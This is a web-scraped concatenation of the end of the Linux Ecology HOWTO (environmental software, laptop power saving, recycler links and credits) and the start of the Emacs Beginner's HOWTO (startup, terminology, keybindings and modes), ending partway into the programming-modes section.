Courtesy of Wade W. Hampton: Linux is ideally suited for use as a research tool for environmental experiments. There are small embedded Linux solutions that can be used for remote monitoring or telemetry. There are VERY small Linux implementations from PC-104 systems to embedded systems like the uCsimm. Linux even flew on the shuttle controlling biological experiments.... Linux has been used for weather research on NOAA's Hurricane Hunter aircraft.

Linux is also an ideal platform for researching ecological and environmental information via the Internet using standard WWW-based tools like Netscape.

Linux may even be used to model complex biological and environmental processes. A ( beowulf cluster could be used to run complex simulations of environmental processes, for example Earthdome and a survey at A COLLECTION OF LINKS OF VISUALIZATION & SIMULATION OF SELF-ORGANIZED SYSTEMS.

13.5 SWARM

SWARM is a software package for multi-agent simulation of complex systems that is being developed by the Swarm Development Group (SDG).

Swarm is intended to be a useful tool for researchers in a variety of disciplines, especially artificial life. The basic architecture of Swarm is the simulation of collections of concurrently interacting agents: with this architecture, we can implement a large variety of agent based models. The source code is freely available under GNU Licensing terms.

13.6 Climate-Dynamics

Climate-Dynamics is project to share computer client resources to analyze the climate.

13.7 UNCERT

UNCERT is a geostatistical uncertainty analysis package applied to groundwater flow and contaminant transport modeling. This package was developed for evaluating the inherent uncertainty in describing subsurface geology, hydraulic properties, and the migration of hazardous contaminants in groundwater flow systems. It is well suited for the aforementioned purposes, but is also sufficiently general to be usable by researchers in a wide range of disciples.

13.8 EcoTopia

The EcoTopia web site uses computer simulation to model Santa Cruz, California as an ideal environmental community. For Ecotourists and Green Consumers, EcoTopia strives to offer the nation a model of integration of technology and environmental remediation using computer modeling and image forecasting.


Linux Ecology HOWTO: Related Projects, Mailing Lists and Newsgroups

 Next Previous Contents

14. Related Projects, Mailing Lists and Newsgroups

  • Though I searched the WWW, I couldn't find neither a dedicated newsgroup nor a mailing list yet. So I decided to create the Eco-Com mailing list. You can subscribe to this list via email. Write to <eco_com-subscribe@listbot.com>, and you will be sent a verification message.
  • Repair FAQ .
  • Obsolete Computer Helpline .
  • 386 World by Gaute Hvoslef Kvalnes <386@altavista.net> . He provides one of the greatest recources available on 386 computers and software. Though his work is mainly related to MS-Windows, he also supports Linux.
  • "The Electronic Green Journal, published by the University of Idaho Library, is a professional, refereed publication devoted to disseminating information concerning sources on international environmental topics including: assessment, conservation, development, disposal, education, hazards, pollution, resources, technology, and treatment. We are academically sponsored; our focus, however, is to publish articles, bibliographies, reviews, and announcements for the educated generalist as well as the specialist. We welcome original contributions from authors on any of the above topics." . You may also find a survey about Environmental Resources on the World Wide Web there.


Linux Ecology HOWTO: Credits

 Next Previous Contents

15. Credits

Thanks to:

  • Hristo Bojinov <hib@mit.edu>
  • Thomas Boutell <boutell@boutell.com>
  • Lionel "trollhunter" Bouchpan-Lerust-Juery<trollhunter@linuxfr.org>
  • Ben De Rydt <ben.de.rydt@pandora.be>
  • Richie Gan <csardas@gate.sinica.edu.tw>
  • Andreas Gohr <ballermann@>
  • Wade W. Hampton <whampton@staffnet.com>
  • Malcolm Herbert <Malcolm.Herbert@fulcrum.com.au>
  • Robert Hoehne <hoehne@eng.usf.edu>
  • Robert Horn <rjh@world.std.com>
  • Larry Lade <lade@midco.net>
  • Verena Lorenz-Meyer <lome@cs.tu-berlin.de>
  • Russell Marks <rus@beeb.net>
  • Don Marti <dmarti@varesearch.com>
  • Jun Morimoto <morimoto@xantia.citroen.org>
  • Hanno Mueller <kontakt@hanno.de>
  • Ralf Muschall <rmuschall.fih@t-online.de>
  • Martin <Niteskate@aol.com>
  • Klaus Peichl <pei@iis.fhg.de>
  • Daniel Pirone <cocteau@wact.net>
  • Martin Pool <martinp@mincom.com>
  • Bernhard Reiter <bernhard@uwm.edu>
  • Matthias Scheller <mscheller@access.diax.ch>
  • Georg Schwarz <schwarz@physik.tu-berlin.de>
  • Victor Solymossy <victor@lig.dq.ufscar.br>
  • Knut Suebert <ksueber@gwdg.de>
  • Charlie Triplett <crtfcc@missouri.edu>
  • Sotiris Vassilopoulos <Sotiris.Vassilopoulos@betatech.gr>
  • George White <gwhite@bodnext.bio.dfo.ca>
  • Yan Wong <yan.wong@linacre.ox.ac.uk>


Linux Ecology HOWTO: Revision History

 Next Previous Contents

16. Revision History

  • v0.1, 18 June 1999, first draft
  • v0.2, 10 September 1999, changed <htmlurl ... > tag to <url ...>, another motto, added appendix B about MP3 player, created and added eco_com mailing list, added chapter about alternative power supplies, added recommendations for buying a new computer, improved screensaver section, added UPS chapter, added chapter about hardware design, minor changes
  • v0.3, 17 September 1999, added information about Tierra, added information about wasting of resources during computer production, added some comments about UPS, minor changes
  • v0.4, 05 December 1999, added appendix G about other operating systems, added information about CD recycling, added appendix H URLs of recyclers, removed link to Linux Games Survey, added links to SWARM, UNCERT and Climate-Dynamics, added chapter about Energy Star label (courtesy of Robert Horn), minor changes
  • v0.5, 04 January 2000, some additional information about PostScript utilities, new chapter Caveats, URL corrections and minor changes
  • v0.6, 01 March 2000, link to Japanese translation added and some spell checking (thanks to Jun Morimoto), correction of URLs
  • v0.7, 14 April 2000, new chapter about double sided printing, some links added to the Games chapter, Power Management Unit - PMU section added, proposition of Chinese translation
  • v0.8, 4 November 2000, some more hints on using small space and small memory added, new chapter about Linux applications for old hardware, some more hints how to save paper included, proposal of Portuguese translation, links updated, new document URL, minor changes


Linux Ecology HOWTO: Copyright and Disclaimer

 Next Previous Contents

17. Copyright and Disclaimer

Copyright © 1999 by Werner Heuser. This document may be distributed under the terms set forth in the LDP license at COPYRIGHT.

The information in this document is correct to the best of my knowledge, but there's a always a chance I've made some mistakes, so don't follow everything too blindly, especially if it seems wrong. Nothing here should have a detrimental effect on your computer, but just in case I take no responsibility for any damages incurred from the use of the information contained herein. All trademarks belong to their owners.


Linux Ecology HOWTO: Appendix A - Linux with Laptops

 Next Previous Contents

18. Appendix A - Linux with Laptops

18.1 Battery

Has to be written. See LDP - Battery-HOWTO by Hanno Mueller, too.

apmd-rhcn-2.4phil-1 by RedHat ftp://rhcn.redhat.com/pub/rhcn/ contains an unofficial patch for shutting down the PCMCIA sockets before a suspend and patches for multiple batteries.

18.2 PCMCIA Card Services and Advanced Power Management

Quoted from the LDP - PCMCIA-HOWTO : "Card Services can be compiled with support for APM (Advanced Power Management) if you've configured your kernel with APM support. ... The PCMCIA modules will automatically be configured for APM if a compatible version is detected on your system. Whether or not APM is configured, you can use cardctl suspend before suspending your laptop, and cardctl resume after resuming, to cleanly shut down and restart your PCMCIA cards. This will not work with a modem that is in use, because the serial driver isn't able to save and restore the modem operating parameters. APM seems to be unstable on some systems. If you experience trouble with APM and PCMCIA on your system, try to narrow down the problem to one package or the other before reporting a bug. Some drivers, notably the PCMCIA SCSI drivers, cannot recover from a suspend/resume cycle. When using a PCMCIA SCSI card, always use cardctl eject prior to suspending the system."

You should use the internal modem in a laptop instead of a PCMCIA modem, if possible (it may be a WinModem).

18.3 Power Saving Techniques

  1. If you don't need infrared support, disable it in the BIOS or shutdown the IrDA device driver. There are also some IrDA features of the kernel which are useful for saving power. In the specifications of my HP OmniBook 800 it is recommended to turn off the IR port, if it is not in use, because it may consume up to 10 percent of the battery time. If necessary, you may also try to disable the Fast RRs feature in the IrDA section of the kernel. This option will give you much better latencies but will consume more power.
  2. PCMCIA services consume much power, so shut them down if you don't need them.
  3. I'm not sure to which extend the backlight consumes power. WARNING: AFAIK this device can only bear a limited number of uptime circles. So avoid using screensavers too much.
  4. For some examples to build batteries with increased uptime up to 8 hours look at Adorable Toshiba Libretto http://www.cerfnet.com/~adorable/libretto.html.
  5. For information about APM look at the APM chapter above.
  6. A hacked rclock . Booker C. Bense has hacked the rclock program to include a simple battery power meter on the clock face.
  7. xbatstat. A battery level status checker for Linux and X.
  8. KDE http://www.kde.org provides KAPM, Kbatmon and Kcmlaptop. Written by Paul Campbell kcmlaptop is a set of KDE control panels that implements laptop computer support functions, it includes a dockable battery status monitor for laptops - in short a little icon in the KDE status bar that shows how much battery time you have left. It also will warn you when power is getting low and allows you to configure power saving options. Similar packages you may find at the GNOME project http://www.gnome.org/ . See the software maps at both sites.
  9. Please see Battery Powered Linux Mini-HOWTO by Hanno Mueller, hanno@lava.de http://www.lava.de/~hanno/ for more information.
  10. toshiba-fan Turn the fan on a Toshiba Pentium laptop on or off. This is a command line utility to turn the fan of a Toshiba laptop on or off, or view its current state. It should work on all Toshiba Pentium laptops that have fans.


Linux Ecology HOWTO: Appendix B - MP3-Hardware-Decoder at Parallel Port

 Next Previous Contents

19. Appendix B - MP3-Hardware-Decoder at Parallel Port

In the German computer magazine CT issue 9/1999 p. 200 and 10/1999 p. 260 I found an article about turning an old PC (from 286 upward) into a MP3 player, by using a MP3-Hardware-Decoder at the parallel port. Authors Homepag .

Also mentioned there, is a software by Klaus Peichl, which doesn't need a hardware decoder.

Though both programs are DOS based, I mention them here. I hadn't time to look for an according Linux solution.

Cajun is a program that allows you to turn any computer (>75mhz) into a massive audio jukebox for your car or home. It uses the matrix-orbital serial display and supports the IRman infra-red remote control interface. Soundcard output is delivered to your (car or home) stereo for amplification. The software supports a hotlist and shuffle mode. It includes FM/Video4Linux support, icecast/shoutcast support, CrystalFontz serial display support, and choice of mpg123 or xaudio for driving the sound card.


Linux Ecology HOWTO: Appendix C - Bibliography

 Next Previous Contents

20. Appendix C - Bibliography

  • Ellringmann, H. /Hrsg.): Softwarefuehrer Umweltschutz. Anbieter - Produkte - Maerkte; 1999ff.
  • Koellner, W. / Fichtler, W.: Recycling von Elektro- und Elektronikschrott; 1996
  • Rohwedder, W.J. "Rocky" / Alm, Andy: Using Computers in Environmental Education; 1994
  • Schloegl, M.:Recycling von Elektro- und Elektronikschrott; 1995
  • Tiltmann, K.O. (Hrsg.): Recyclingpraxis Elektronik; 1994
  • Andreas Grote: (be): Gruene Rechnung - Das Produkt Computer in der Oekobilanz - Report, Oekologie, Rohstoffverbrauch, Energieverbrauch und Schadstoff-Emissionen bei Herstellung, Betrieb und Entsorgung, EPA, Energy Star, Green-PC (c't 12/1994, Seite 92) CT .


Linux Ecology HOWTO: Appendix D - Recommendations for Buying a New Computer

 Next Previous Contents

21. Appendix D - Recommendations for Buying a New Computer

Courtesy of Wade W. Hampton (modifications by wh): Purchase a low-power computer such as a laptop or network computer. These typically don't use as much power as desktop systems. For example, someone on the WWW had a Corel/Rebel Netwinder powered by solar cells. I find it funny that an "Energy Star" desktop still has a 300W power supply and uses far more power than a computer like the Netwinder which uses something like 10 Watts of power, (though this is consistent with the Energy Star goals for computer equipment, since they have targeted unused power consumption).

Maybe there should be a new class of computers called "Energy Miser" (or similar) that use nearly an order of magnitude less power than Energy Star systems?

To save power for the display, one could purchase a LCD monitor instead of a CRT. LCD monitors consume 30-40 Watts of power versus the 100's of Watts used by most monitors. The price of an LCD is still 2-3 times that of a similar monitor, but as LCDs become more widely used, the price will come down.

Make sure that any new computer purchase includes APM-compliant hardware and low-radiation. Use TCO, DPMS or Energy Star compliant monitors.

R Horn <rjh@world.std.com> wrote: " I personally have found the Lawrence Berkeley Labs - LBL web site to be the best source for information on energy efficient equipment. They go into considerable details on how to reduce energy consumption from many kinds of equipment, including much more than computers. They also have a good collection of links to related sites. The Energy Star program is defined by the US Environmental Protection Agency, which has a web site on it. So far all of the Energy Star regulations have been defined to reduce energy usage without requireing change or restrictions on regular usage. There is an amazingly large amount of electricity consumed by idle equipment (computers, televisions, microwave ovens,...) and also large amounts consumed unnecessarily by equipment that must be continuously one (emergency exit signs, traffic lights, ...). Since this energy can be saved without asking users to make any compromises on performance, it is being targeted first.

Somewhere on the LBL web site they have the actual power consumption figures for various PCs. The 300W power supply is quite misleading. Actual power usage varies depending upon what programs you run and whether the disks can be powered down. Genuine usage while in operation is usually in the 50-75W range. When the system is idle, it drops significantly.

The NetWinder is a nice machine, but does force operational compromises. The peak CPU performance is much lower. The operating system is not Windows. And there are other limitations. A closer comparison is the typical laptop PC. These can generally be operated from a modest solar panel because their average power drain is quite low. With these you can see the cost vs power consumption tradeoff. They achieve the same performance as the desktop units, but the low power consumption has doubled or tripled the cost.

(I personally use a Psion. A decent slow computer that requires only 200mw of power. It may even run Linux once they deal with some of the ROM issues.)

The big debate in setting the energy star regulations was deciding which would have greater overall benefit: small negligible cost improvements to almost all equipment sold, or greater improvements at much higher cost? Could that cost be invested elsewhere to greater benefit? How will the purchasers react to the higher cost? So far the consensus has been that improving a large number of machines at negligible cost is wiser than improving a smaller number of machines at high cost."


Linux Ecology HOWTO: Appendix E - A New Environmentally Friendly Hardware Design

 Next Previous Contents

22. Appendix E - A New Environmentally Friendly Hardware Design

Courtesy of Wade W. Hampton and Knut Suebert: New hardware designs that plan to use Linux should take advantage of environmentally friendly technologies such as low-power CPUs e.g., the ARM from: Intel, environmentally friendly battery design, low-power displays (e.g., non-backlit LCDs), smaller packaging, etc. Linux supports a WIDE variety of hardware and technologies. These could be leveraged into powerful, flexible, environmentally friendly Linux-based solutions.

An "Environmental Rating" could be created for new Linux-based hardware and even some Linux-based software such as bottlerocket (X10). Devices such as the Netwinder or the uCsimm would receive high ratings for their size, power consumption, capabilities, etc.

At Telepolis (German Computer Magazine) you might find an article about wasted resources during computer manufacturing.

Generally speaking PPC CPUs consume less power than x86 CPUs.


Linux Ecology HOWTO: Appendix F - Computer Related Eco Labels

 Next Previous Contents

23. Appendix F - Computer Related Eco Labels

Currently I have only this small list: TCO, DPMS or Energy Star Blauer Engel (Germany), Energy Label - Group for Efficient Appliances (GEA).


Linux Ecology HOWTO: Appendix G - Other Operating Systems

 Next Previous Contents

24. Appendix G - Other Operating Systems

24.1 DOS

To my surprise there are still many tools available to make old 286 PC useful. I started a search for 286 at Simtel.Net and found many useful shareware programs. For instance:

  • Full-featured LAN for MSDOS computers, 286+req
  • RoseMail, PCBoard offline mail, 8086/286 exe's
  • Multitasking/multiuser environment for 286-586

There is even a free DOS around, see The OS Developers Homepage and The FreeOS page.

24.2 MS-Windows

A power saving utility CPUIDLE is available. Another one for older versions of MS-WindowsNT is available at Niteskate.


Linux Ecology HOWTO: Appendix H - URLs of Recylers

 Next Previous Contents

25. Appendix H - URLs of Recylers

  • REMEDIA - Germany - recycling of data storage media (CD, floppy, tape)
  • ALCAD - worldwide - Ni-Cd Battery Recycling
  • CD-COLLECT - CD recycling
  • Rechargeable Battery Recycling Corporation RBRC is a non-profit, public service organization created to promote the recycling of Nickel-Cadmium (Ni-Cd) rechargeable batteries.
  • The European Portable Battery Association (EPBA) is the European organisation of companies manufacturing, selling or distributing portable batteries. The mission of the EPBA is to ensure that the ideal conditions are created for responsible development of the portable battery industry in Europe. Acting in the common interests of all of its members, the EPBA aims to sustain a competitive industry in an increasingly complex commercial climate.
  • Battery Council International is a not-for-profit organization with the mission of promoting the interests of the international lead-acid battery industry. With more than 175 members worldwide, the Battery Council International (BCI) brings together lead-acid battery manufacturers and recyclers, marketers and retailers, suppliers of raw materials and equipment, and industry consultants.


Emacs Beginner's HOWTO

Jeremy D. Zawodny: Jeremy@Zawodny.com

v1.12, 2001-03-25

This document introduces Linux users to the Emacs editor. It assumes minimal familiarity with vi or a similar editor. The latest version of this document is usually available from http://www.wcnet.org/jzawodn/emacs/

1. Introduction

  • 1.1 Copyright
  • 1.2 Audience and Intent
  • 1.3 What is Emacs?

2. Running Emacs

  • 2.1 Starting & Quitting Emacs
  • 2.2 Some Terminology
  • 2.3 Keyboard Basics
  • 2.4 Tutorial, Help, & Info

3. Emacs Modes

  • 3.1 Major vs. Minor Modes
  • 3.2 Programming Modes
  • 3.3 Authoring
  • 3.4 Other Modes

4. Customizing Emacs

  • 4.1 Temporary Customization
  • 4.2 Using a .emacs File
  • 4.3 The Customize Package
  • 4.4 X Windows Display

5. Popular Packages

  • 5.1 VM (Mail)
  • 5.2 Gnus (Mail and News)
  • 5.3 BBDB (A rolodex)
  • 5.4 AucTeX (another TeX mode)

6. Other Resources

  • 6.1 Books
  • 6.2 Web Sites
  • 6.3 Newsgroups
  • 6.4 Mailing Lists
  • 6.5 The Emacs Lisp Archive

7. Credits


Emacs Beginner's HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Copyright

Copyright © 1998 - 2001 Jeremy D. Zawodny. Permission to distribute and modify this document is granted under the GNU General Public License. An on-line copy is available at http://www.gnu.org/copyleft/gpl.html

1.2 Audience and Intent

This document is targeted at the Linux user interested in learning a bit about Emacs and trying it out. This actually began as the outline of a brief tutorial that I was to give at a Toledo Area Linux User Group meeting: http://www.talug.org/. It has since grown a bit as the result of the helpful feedback I have received from the community. See the Credits section for details.

Having said that, there is virtually nothing Linux-specific in this document. It applies to virtually all flavors of Unix and even Emacs running on Microsoft Windows. But since this document is part of the Linux Documentation Project, I make a point of saying that it was developed for Linux users--because it was.

And finally, those of you who prefer the name GNU/Linux to simply ``Linux'' (read http://www.gnu.org/gnu/linux-and-gnu.html to see why one might) are welcomed to mentally substitute GNU/Linux for all occurrences of Linux in this document. While I don't disagree with the reasoning and spirit behind that idea, I don't feel compelled to write GNU/Linux.

1.3 What is Emacs?

Emacs is different things to different people. Depending who you ask, you'll could get any of the following responses:

  • Text Editor
  • Mail Client
  • News Reader
  • Word Processor
  • Religion
  • Integrated Development Environment
  • Whatever you want it to be!

But for our purposes, let's just pretend it's a text editor--an amazingly flexible text editor. We'll dig deeper into the question later on. Emacs was written by Richard Stallman (founder of the Free Software Foundation: http://www.fsf.org/ and the GNU project http://www.gnu.org/) and he still maintains it today.

Emacs is one of the most popular and powerful text editors used on Linux (and Unix). It is second in popularity only to vi. It is known for it huge feature set, ability to be easily customized, and lack of bugs. It's large feature set and ability to be customized actually are the result of how Emacs was designed and implemented. Without going into all the details, I'll simply point out that Emacs isn't ``just an editor''. It is an editor written mostly in the programming language Lisp. At the core of Emacs is a full-featured Lisp interpreter written in C. Only the most basic and low-level pieces of Emacs are written in C. The majority of the editor is actually written in Lisp. So, in a sense, Emacs has an entire programming language ``built in'' which you can use to customize, extend, and change its behavior.

Emacs is also one of the oldest editors around. The fact that is has been used by thousands of programmers over the past 20 (?) years means that there are many add-on packages available. These add-ons allow you to make Emacs do things that Stallman had probably never dreamed possible when he first began work on Emacs. More on that in a later section.

There are many other web sites and documents which give a better overview of Emacs, its history, and related matters. Rather than attempt to reproduce much of that here, I suggest that you check out some of the places listed in Section Other Resources section of this document.

Ports and Versions

It's worth pointing out that there are actually two different Emacs editors: GNU Emacs and XEmacs. Both come from the same heritage and share most of the same features. This document focuses on GNU Emacs (version 20.3, specifically) but much of what you'll read here will apply just as well to XEmacs and earlier versions of GNU Emacs. Throughout this document I will simply refer to ``Emacs''. When I do so, bear that in mind.

Getting Emacs

Getting Emacs is easy. If you are using a popular Linux distribution like Debian, RedHat, Slackware, or any of the others, Emacs is probably an optional package that you can install from your distribution media. If not, you can get the Emacs source code and compile it yourself. Visit the GNU web site for the exact location: http://www.gnu.org/software/emacs/emacs.html


Emacs Beginner's HOWTO: Running Emacs

 Next Previous Contents

2. Running Emacs

2.1 Starting & Quitting Emacs

As a new user, you'll probably want to launch Emacs just to mess around and try it out. Once you're into Emacs and want to exit, however, you may not be able to figure out what to do. So if you've never used Emacs before, give it a shot right now. At your shell prompt, type emacs and hit enter. Emacs should start up. If not, it is either not installed or not in your path.

Once you've seen Emacs, you need to know how to exit. The keystrokes for leaving Emacs are C-x C-c. The C-x notation means hold down the Ctrl key and press x. In this case, you'll then need to hold down Ctrl and press c to finish the task.

The keystrokes used in Emacs will likely seem odd, foreign, and maybe even uncomfortable to you at first--especially if you're a vi user. Unlike vi, Emacs doesn't have separate modes for editing text and issuing commands.

To re-cap: emacs will start Emacs. C-x C-c will exit Emacs.

What you'll see

When Emacs starts up it will consume a whole X window (or screen if you're running on a console instead of in the X Window System). You'll see a menu across the top, some text in the main part of the screen, and a couple of lines at the bottom.

It will look something like this ASCII sketch:

+----------------------------------------------------------------------+
|Buffers Files Tools Edit Search Mule Help                             |
|                                                                      |
|Welcome to GNU Emacs, one component of a Linux-based GNU system.      |
|                                                                      |
|                                                                      |
|                                                                      |
| ...                                                                  |
|                                                                      |
|---1:---F1  *scratch*         (Lisp Interaction)--L1--All-------------|
|For information about the GNU Project and its goals, type C-h C-p.    |
+----------------------------------------------------------------------+

NOTE: Emacs will usually fill the entire screen/window. I've shrunk the above example to save space here. You will also see a welcome message in Emacs when you first start it. I omitted that as well and substituted ``...'' instead. The welcome message simply identifies the exact version of Emacs you are using as well as pointing you to the on-line help and related items.

The Menu Bar

The topmost line of the Emacs interface is a menu. If you're running X, you'll recognize them as traditional pull-down menus that you can access using your mouse. Otherwise you'll need to use keyboard shortcuts (not covered here) for accessing the menus.

The Status Bar and Mini-buffer

Of the last two lines in the Emacs interface, the topmost one is essentially a status bar. It contains information about the buffer you're working in, which mode Emacs is in, and various other things. For now, just realize that it's there.

The bottommost line is called the mini-buffer. It is separated from the main buffer by the status bar we just discussed. You can think of the mini-buffer as the Emacs ``command-line''. It is where commands that you give Emacs appear and it is where status messages are printed in response to things you do.

You'll find that what I've called the status bar is usually referred to as the mode line in Emacs related documentation. It is where Emacs displays information about the current modes(s) you may be using as well as things like the current date and time, line number, file size, and almost anything else you might want to see there.

2.2 Some Terminology

This section covers the most basic of Emacs terminology that you'll encounter when using and reading about Emacs.

Buffers & Files

Unlike some editors, when you open a file in Emacs it does not stay ``open'' the entire time you're working with it. Instead, Emacs reads the file into a buffer in memory. While you're editing the buffer and working with the data nothing is changed on disk. Only when you actually save the buffer does the file on disk get updated. There are advantages and disadvantages to this approach but it is only important that you understand that it works this way.

As a consequence, you will see the term ``buffer'' used in Emacs documentation, modes, packages, and so on. Just realize that buffer means ``a copy of the file that is currently in memory.'' Oh, it's worth pointing out that a buffer doesn't always have to refer to a specific file on disk. Often times Emacs will create buffers as the result of commands you run. Such buffers may contain the result of the command, a list of selections to pick from, and so on.

Point & Region

In Emacs lingo, you'll often hear or see references to the point. In general terms the point is the cursor. The actual distinction between the point and cursor probably isn't important when you're first starting out with Emacs. But if you are curious, think about it this way. The cursor is the visual representation of the point. The cursor is always ``on'' a particular character position in the current buffer. The point, on the other hand, lives in the space between characters on in the buffer. So you might say that if the cursor is on the letter `h' in the word ``the'' then the point is between the `t' and the `h'.

Like many modern editors, Emacs allows to perform operations (indent, spell-check, reformat, cut, copy, paste, ...) on a section of the current buffer. You can highlight (or ``mark'') a block of text using the keyboard or mouse and then perform operations on just the selected block of text. In Emacs, that block of text is called a region.

Windows

Okay, this will be a bit confusing to anyone who has ever used a GUI interface before. Just remember that Emacs was developed long before GUI interfaces and window managers were popular.

A window in Emacs is an area of the screen in which a buffer is displayed. When Emacs is first started, you have one window on your screen. Some Emacs functions (such as the help and documentation) often [temporarily] open up additional windows in your Emacs screen.

Emacs windows have nothing to do with X windows in the GUI sense. You can open up additional X windows to display Emacs buffers, maybe to compare two files side by side. Those new X windows are referred to as frames in Emacs lingo. Read on.

Frames

In Emacs, a frame is a separate X window in which an Emacs buffer is displayed. But both are part of the same Emacs session. The behavior is somewhat (but not too much) like what happens if you hit Alt+N in Netscape Navigator.

2.3 Keyboard Basics

This section covers the basics of keyboarding for Emacs. Like every powerful editor, everything that you can do with Emacs is just a few keystrokes away.

If you're a vi user, the notion of using the k, j, l, h keys to move up a line, down a line, forward by a character, and backward by a character probably took some getting used to. In fact, it might have taken you a few hours or even weeks of practice before you could comfortably navigate a file using the various key combinations available in vi.

Emacs is no different. There are different keystrokes and commands to learn. Just like vi, you only need to master the basics to get a lot of work done. Then, as time goes on, you can slowly expand your knowledge and find faster ways of doing things.

Command Keys (Meta, Esc, Control, and Alt)

As you'll soon learn, Emacs makes heavy use of multi-key combinations. Because it is not a modal editor like vi, you don't have to think about being in ``command mode'' or ``editing mode'' before you can try to move the cursor or execute a command. Instead, you just press the right combination of keys and Emacs does as told (usually).

The keys that Emacs makes the most use of are usually abbreviated in the documentation as C (for Control or Ctrl) and M for (Meta). While most modern PC keyboards have one or more keys labeled Ctrl few have one labeled Meta. You'll want to mentally substitute either Esc or Alt for the Meta key. In most standard configurations, both Esc and Alt do essentially the same thing.

So when you see a reference in any Emacs related documentation to C-x f it means ``press control-x and then f.'' And if you see a reference to something like M-x shell is means ``press alt-x and type the word shell''.

A very useful command for beginners is M-x apropos or C-h a. apropos will search the Emacs on-line documentation for all functions and search for the regular expression you type. This is a great way to discover all commands related to frames. Simply C-h a and then frame.

Moving Around in a Buffer

Now that you know what all those fancy abbreviations mean, here's a list of the most common keystrokes for moving within a buffer:

Keystrokes  Action
-----------------------------------
C-p         Up one line
C-n         Down one line
C-f         Forward one character
C-b         Backward one character
C-a         Beginning of line
C-e         End of line
C-v         Down one page
M-v         Up one page
M-f         Forward one word
M-b         Backward one word
M-<         Beginning of buffer
M->         End of buffer
C-g         Quit current operation
-----------------------------------

And, as you might expect, the cursor keys (or arrow keys) usually work just as you'd expect. Your Backspace may not. That's another story. :-(

Essential Commands

Okay, now that you know how to move around within a buffer what about opening and saving files? Search? Here are some basic commands.

Before we jump straight to those commands, I need to briefly point out how this works.

All ``command keystrokes'' in Emacs (those that are M-x something or C-something) are actually just shortcuts to functions which are part of Emacs. You can call any of those functions by typing M-x function-name and hitting Enter. You can also use the keyboard shortcut for that function (if it has one).

For example, the Emacs function which saves a buffer to disk is called save-buffer. By default it is also bound to C-x C-s. So, you can either use they shortcut to save the current buffer, or you could type M-x save-buffer and achieve the exact same result.

All of the most common functions have keyboard shortcuts by default. Some of them are listed below.

Keystrokes  Function           Description
-------------------------------------------------------------------
C-x C-s     save-buffer        Save the current buffer to disk
C-x u       undo               Undo the last operation
C-x C-f     find-file          Open a file from disk
C-s         isearch-forward    Search forward for a string
C-r         isearch-backward   Search backward for a string
            replace-string     Search & replace for a string
            replace-regexp     Search & replace using regexp
C-h t       help-with-tutorial Use the interactive tutorial
C-h f       describe-function  Display help for a function
C-h v       describe-variable  Display help for a variable
C-h x       describe-key       Display what a key sequence does
C-h a       apropos            Search help for string/regexp
C-h F       view-emacs-FAQ     Display the Emacs FAQ
C-h i       info               Read the Emacs documentation
C-x r m     bookmark-set       Set a bookmark. Useful in searches
C-x r b     bookmark-jump      Jump to a bookmark.
-------------------------------------------------------------------

As you try many of those functions, you'll notice that many will prompt you for input. They will always to do in the mini-buffer. This is similar to using the : commands in vi or most commands that you'd use within your favorite Unix shell.

Emacs has literally hundreds of built-in functions available. The list above is a tiny sample that represents those that I use regularly. See the on-line help for a more complete listing of the available functions and more complete documentation on those I mentioned above.

Tab Completion

Like many popular Unix shells (bash, csh, tcsh, ...) Emacs offers command completion via the Tab key. In fact, the command completion in bash was modeled after that in Emacs, so if you use that feature in bash you'll be right at home.

As an example, try M-x search and then hit Tab. Emacs will append a hyphen to indicate that there are several possible completions but they all have a hyphen as the next character. Hit Tab once more and Emacs will display a list of the possible matches for you to choose from. Notice that it does so in a new window. It temporarily splits your display into two windows: one which contains the buffer you were editing and the other contains the list of possible completions for ``search-''. You may hit C-g to exit out of the selection process and close the new window.

2.4 Tutorial, Help, & Info

Emacs comes with an on-line tutorial which walks you through the basic editing features and functions that everyone should know. It also explains how to use the other help features in Emacs.

I highly recommend that you spend some time going through the tutorial if you plan on making a serious effort to learn Emacs. As shown in the table above, you can enter the tutorial via C-h t. The tutorial is self-guided and aimed at folks who are just getting started with Emacs.

If you are running Emacs in X, you will see that the rightmost menu on the menu bar is labeled Help. As you explore the Help menu notice that some items have keyboard shortcuts and those are listed right in the menu.

Finally, to see the volume of documentation available with Emacs, you should try M-x info or C-h i which launches Info, the Emacs documentation browser.


Emacs Beginner's HOWTO: Emacs Modes

 Next Previous Contents

3. Emacs Modes

Emacs modes are different behaviors and features which you can turn on or off (or customize, of course) for use in different circumstances. Modes are what make one editor (Emacs) equally useful for writing documentation, programming in a variety of languages (C, C++, Perl, Python, Java, and many more), creating a home page, sending E-Mail, reading Usenet news, keeping track of your appointments, and even playing games.

Emacs modes are simply libraries of Lisp code that extend, modify, or enhance Emacs is some way.

3.1 Major vs. Minor Modes

There are fundamentally two types of modes available: Major and Minor. The distinction isn't the easiest thing to grasp until you've worked with a few of them off and on, but let's give it a shot.

Only one major mode can be active at a given time. Many minor modes can be active at a given time. Major modes tend to be language or task-specific, while minor modes are smaller and less specific utilities that cut across many tasks.

Sounds kind of abstract, so let's try an example. There's a mode that I use quite often when I'm writing plain old text files. It's called text-mode. This mode was designed for writing free form text like a README file. It understands how to identify words and paragraphs and generally makes sure that it does what I expect when I use the normal navigation keystrokes.

When I'm writing text for human consumption, I typically want it to look good. It should be properly word-wrapped to a reasonable value and so on. To enable word wrapping I just turn on the auto-fill minor mode. This mode tries to do the Right Thing when I'm typing along and hit the end of the line. The fact that it is a minor mode means that it can work with several different major modes. My notion of the ``Right Thing'' to do when I hit the end of the line is different when I'm in text-mode than it is when I'm in java-mode for example. I don't want my Java code to be word-wrapped as if was English text. But I do want the blocks of comments in my Java code to be word wrapped! auto-fill mode is smart enough to figure that out.

The authors of various Emacs modes have done a great job of making sure that things that should work as minor modes are minor modes.

If you look back at that ASCII sketch of an Emacs screen, you'll notice that the mode line identifies the mode(s) that Emacs is in. In that case it was in a mode called ``Lisp Interaction'' which is the default mode. It's really only useful if you're going to be writing Lisp code. (But since most of Emacs is written in Lisp, why not?)

3.2 Programming Modes

First and foremost, Emacs was designed by a programmer for programmers. There are high-quality modes available for almost every popular programming language you can think of (and even some not so popular ones). I only briefly describe a few of them here.

Most programming modes share some common characteristics. Usually, they'll do some or all of the following:

  • Provide color-syntax highlighting for the language.
  • Provide automatic indentation and code formatting for the language.
  • Provide context (language) sensitive help.
  • Automatically interface with your debugger.
  • Add language-specific menus to the menu bar.

In addition, there are some non-language specific modes that help out with tasks that are common to programming in many languages. Things like interfacing to your version control software, automatically adding comments to your code, creating Makefiles, updating Change Logs and so on.

